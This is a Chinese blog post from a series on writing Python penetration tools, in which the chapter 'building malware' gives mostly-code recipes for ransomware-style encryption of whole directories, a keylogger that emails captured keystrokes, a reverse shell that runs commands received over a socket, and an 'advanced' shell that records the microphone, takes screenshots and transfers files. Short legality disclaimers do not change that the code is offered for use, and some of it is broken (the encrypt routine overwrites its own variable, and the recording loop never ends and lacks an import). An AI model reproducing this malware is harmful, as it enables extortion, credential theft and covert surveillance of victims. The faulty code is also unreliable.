python渗透工具编写学习笔记:4、构造恶意软件

前言

      上一篇我们暂时结束了信息收集的学习,从这一篇我们要开始学习分析恶意软件,明白原理才能更好的防范与利用,坚持科技向善,勿跨越法律界限。那么我们就开始今天的学习吧!初出茅庐,如有错误望各位不吝赐教。

4.1 概念

    恶意软件(Malware,即 malicious software)是指一类具有恶意目的的计算机程序。恶意软件可以包括病毒、蠕虫、木马、间谍软件、广告软件等。恶意软件通常通过网络传播,感染并控制用户的计算机系统,从而获取用户的敏感信息、破坏系统,或者进行其他非法活动。

恶意软件的常见传播途径有电子邮件附件、下载恶意软件的链接、恶意广告等。接下来我们将尝试用python来构建常见的恶意软件功能。

4.2 勒索软件基本原理

    我们所熟知的熊猫烧香病毒,最主要的功能便是加密所有文件,那么我们将用python构建此功能,使用密码加密系统中的任何文件或文件夹,并且只能使用该密钥对其进行解密。

import os
from cryptography.fernet import Fernet

def generate_key():
    """
    生成密钥
    """
    key = Fernet.generate_key()
    with open('key.key', 'wb') as key_file:
        key_file.write(key)

def load_key():
    """
    加载密钥
    """
    return open('key.key', 'rb').read()

def encrypt_file(file_path, key):
    """
    加密文件
    """
    fernet = Fernet(key)
    with open(file_path, 'rb') as file:
        original_file = file.read()
    encrypted_file = fernet.encrypt(original_file)
    with open(file_path, 'wb') as encrypted_file:
        encrypted_file.write(encrypted_file)

def decrypt_file(file_path, key):
    """
    解密文件
    """
    fernet = Fernet(key)
    with open(file_path, 'rb') as encrypted_file:
        encrypted_file_content = encrypted_file.read()
    decrypted_file = fernet.decrypt(encrypted_file_content)
    with open(file_path, 'wb') as file:
        file.write(decrypted_file)

def encrypt_directory(directory_path, key):
    """
    加密文件夹中的所有文件
    """
    for root, dirs, files in os.walk(directory_path):
        for file in files:
            file_path = os.path.join(root, file)
            encrypt_file(file_path, key)

def decrypt_directory(directory_path, key):
    """
    解密文件夹中的所有文件
    """
    for root, dirs, files in os.walk(directory_path):
        for file in files:
            file_path = os.path.join(root, file)
            decrypt_file(file_path, key)

# 生成密钥
generate_key()

# 加载密钥
key = load_key()

# 加密文件
encrypt_file('example.txt', key)

# 解密文件
decrypt_file('example.txt', key)

# 加密文件夹中的所有文件
encrypt_directory('example_directory', key)

# 解密文件夹中的所有文件
decrypt_directory('example_directory', key)

注:上例使用了cryptography库中的Fernet类来实现加密和解密。在使用之前,需要使用pip install cryptography命令安装该库。另外,密钥将保存在名为key.key的文件中,请妥善保管该文件,并确保只有授权用户能够访问它。

是不是感觉比信息收集篇难上一些?没关系,接下来我们来分析一下上述代码 :

仔细看,其实我们只是编写了生成密钥,加载密钥,加密与解密文件这几个方法,再加解密所有文件。generate_key方法中,我们生成了用于加密的密钥,并将生成的密钥写入文件:key_file。load_key方法用于从文件中读取密钥。encrypt_file方法中我们使用密钥创建Fernet对象,读取原始文件内容再使用密钥加密文件内容,并将加密后的文件内容写入文件。decrypt_file方法使用密钥创建Fernet对象​​​​​​​,读取加密后的密文​​​​​​​,使用密钥解密文件内容​​​​​​​,最后将解密后的文件内容写入文件。encrypt_directory方法先读取文件路径,再对所有文件进行加密。而decrypt_directory方法则在读取文件路径后对所有文件进行解密。

4.3 键盘记录器

    键盘记录器是一种硬件设备或软件程序,用于记录并存储用户在计算机键盘上的击键活动。也存在一些恶意的键盘记录器,用于窃取用户的个人信息和账户凭据,代码仅供学习,请确保在合法和道德的行为范围内使用计算机技术。下面是一个使用Python编写的键盘监听程序,它可以将按键记录发送到日志文件或通过电子邮件:

from pynput import keyboard
import logging
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

# 设置日志文件路径
LOG_FILE_PATH = 'keylog.txt'

# 设置邮件相关参数
SMTP_SERVER = 'smtp.example.com'
SMTP_PORT = 587
EMAIL_ADDRESS = 'your_email@example.com'
EMAIL_PASSWORD = 'your_email_password'
RECIPIENTS = ['recipient1@example.com', 'recipient2@example.com']

# 创建日志记录器
logger = logging.getLogger('keylogger')
logger.setLevel(logging.DEBUG)
file_handler = logging.FileHandler(LOG_FILE_PATH)
file_handler.setLevel(logging.DEBUG)
formatter = logging.Formatter('%(asctime)s - %(message)s')
file_handler.setFormatter(formatter)
logger.addHandler(file_handler)

# 处理按键事件
def on_press(key):
    try:
        logger.info(f'Key pressed: {key.char}')
    except AttributeError:
        logger.info(f'Special key pressed: {key}')

# 启动键盘监听
def start_keylogger():
    with keyboard.Listener(on_press=on_press) as listener:
        listener.join()

# 发送日志文件
def send_log_file():
    # 读取日志文件内容
    with open(LOG_FILE_PATH, 'r') as file:
        log_content = file.read()

    # 创建邮件内容
    msg = MIMEMultipart()
    msg['From'] = EMAIL_ADDRESS
    msg['To'] = ', '.join(RECIPIENTS)
    msg['Subject'] = 'Keylogger Log'
    msg.attach(MIMEText(log_content, 'plain'))

    # 发送邮件
    with smtplib.SMTP(SMTP_SERVER, SMTP_PORT) as server:
        server.starttls()
        server.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
        server.send_message(msg)

# 启动键盘监听
start_keylogger()

# 发送日志文件
send_log_file()

上述代码使用了pynput来监听键盘事件,logging用于记录按键日志,smtplibemail用于发送邮件。在使用之前,需要先使用pip install pynputpip install secure-smtplib命令安装这些库。

这里补充一下Windows系统知识:“事件”是应用程序或服务生成的通知,以便管理员能够监控系统的运行状况。 它们可以包含诸如应用程序启动和关闭、错误报告、系统故障等信息。“日志”是操作系统记录的特定事件的详细信息。

logging函数提供事件绑定( event binding )的机制,可以将键盘事件与特定的处理函数关联起来,将它们写入邮件和发送到日志文件。最后,我们编写将按键记录发送到日志文件或通过电子邮件发送的方法。

4.4 反向 shell

    反向shell是一种网络工具,允许攻击者在目标设备上执行命令和控制目标设备。与常规shell相反,反向shell是通过在目标设备上启动一个监听程序,然后将其连接到攻击者控制的服务器上来实现的。下面,我们来学习一下实现反向shell的最基本的脚本:

import socket
import subprocess

# 定义目标主机和端口
target_host = "127.0.0.1"
target_port = 5555

# 创建一个socket对象
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接到目标主机和端口
client.connect((target_host, target_port))

# 进入循环,持续接收命令并发送输出结果
while True:
    # 接收命令
    command = client.recv(1024).decode()

    # 执行命令
    output = subprocess.getoutput(command)

    # 发送输出结果
    client.send(output.encode())

    # 如果收到exit命令,则退出循环
    if command.lower() == "exit":
        break

# 关闭连接
client.close()
 

这里我们首先创建一个socket对象,然后通过connect方法连接到目标主机和端口。接着进入一个循环,不断接收命令并执行。执行命令使用subprocess模块getoutput函数,将命令结果保存在output变量中。最后将结果发送回客户端。记得要写一个用于接收信息的客户端。

4.5 制作高级反转外壳

     高级反转外壳比起上面的反向 shell外还加上了更多功能型函数,为了实现高级反转外壳,我们需要使用一些 Python 模块来处理不同的功能。下面将简单演示如何使用所需的模块实现录制麦克风、制作屏幕截图以及发送和接收文件。

import subprocess
import pyaudio
import pyautogui
import socket
import os

# 录制麦克风
def record_microphone(output_file):
    CHUNK = 1024
    FORMAT = pyaudio.paInt16
    CHANNELS = 2
    RATE = 44100
    
    p = pyaudio.PyAudio()
    
    stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, frames_per_buffer=CHUNK)
    frames = []
    
    print("开始录制麦克风...")
    
    while True:
        data = stream.read(CHUNK)
        frames.append(data)
        
        # 在这里添加停止录制的条件(例如按下特定键)
        
    print("录制完成")
    
    stream.stop_stream()
    stream.close()
    p.terminate()
    
    wf = wave.open(output_file, 'wb')
    wf.setnchannels(CHANNELS)
    wf.setsampwidth(p.get_sample_size(FORMAT))
    wf.setframerate(RATE)
    wf.writeframes(b''.join(frames))
    wf.close()

# 制作屏幕截图
def take_screenshot(output_file):
    screenshot = pyautogui.screenshot()
    screenshot.save(output_file)
    
    print("屏幕截图已保存为", output_file)

# 发送文件
def send_file(file_path, host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    s.connect((host, port))
    
    with open(file_path, 'rb') as f:
        data = f.read(1024)
        while data:
            s.send(data)
            data = f.read(1024)
    
    s.close()
    
    print("文件已发送")

# 接收文件
def receive_file(output_file, host, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    s.bind((host, port))
    s.listen(1)
    
    conn, addr = s.accept()
    
    with open(output_file, 'wb') as f:
        data = conn.recv(1024)
        while data:
            f.write(data)
            data = conn.recv(1024)
    
    conn.close()
    s.close()
    
    print("文件已接收")

# 主程序
if __name__ == "__main__":
    while True:
        print("请选择要执行的操作:")
        print("1. 录制麦克风")
        print("2. 制作屏幕截图")
        print("3. 发送文件")
        print("4. 接收文件")
        print("5. 退出")
        
        choice = input("请输入操作的数字:")
        
        if choice == "1":
            output_file = input("请输入要保存录音的文件名:")
            record_microphone(output_file)
        elif choice == "2":
            output_file = input("请输入要保存截图的文件名:")
            take_screenshot(output_file)
        elif choice == "3":
            file_path = input("请输入要发送的文件路径:")
            host = input("请输入服务器的IP地址:")
            port = int(input("请输入服务器的端口号:"))
            send_file(file_path, host, port)
        elif choice == "4":
            output_file = input("请输入要保存接收文件的文件名:")
            host = input("请输入本机的IP地址:")
            port = int(input("请输入监听的端口号:"))
            receive_file(output_file, host, port)
        elif choice == "5":
            break
        else:
            print("无效的操作,请重新选择")

这只是一个简单的示例,功能型函数可以根据你的实际需求进行修改和扩展。例如,为发送和接收文件的功能添加一些错误处理代码。因为除了功能型函数,其他结构与反向shell基本一致,所以这里就不过多赘述了,对控制麦克风与截屏感兴趣的读者可以查考一下pyaudio库pyautogui库的使用。

本章篇幅较长(主要是代码略多),如学习时有点枯燥也请不要放弃,炼就技术之路,任重而道远。感谢你的认真阅读,下一章我们将学习此篇还未涉及的:病毒的防御与传播。这就是我们今天全部的内容了,如有帮助,不胜荣幸。

  • 29
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值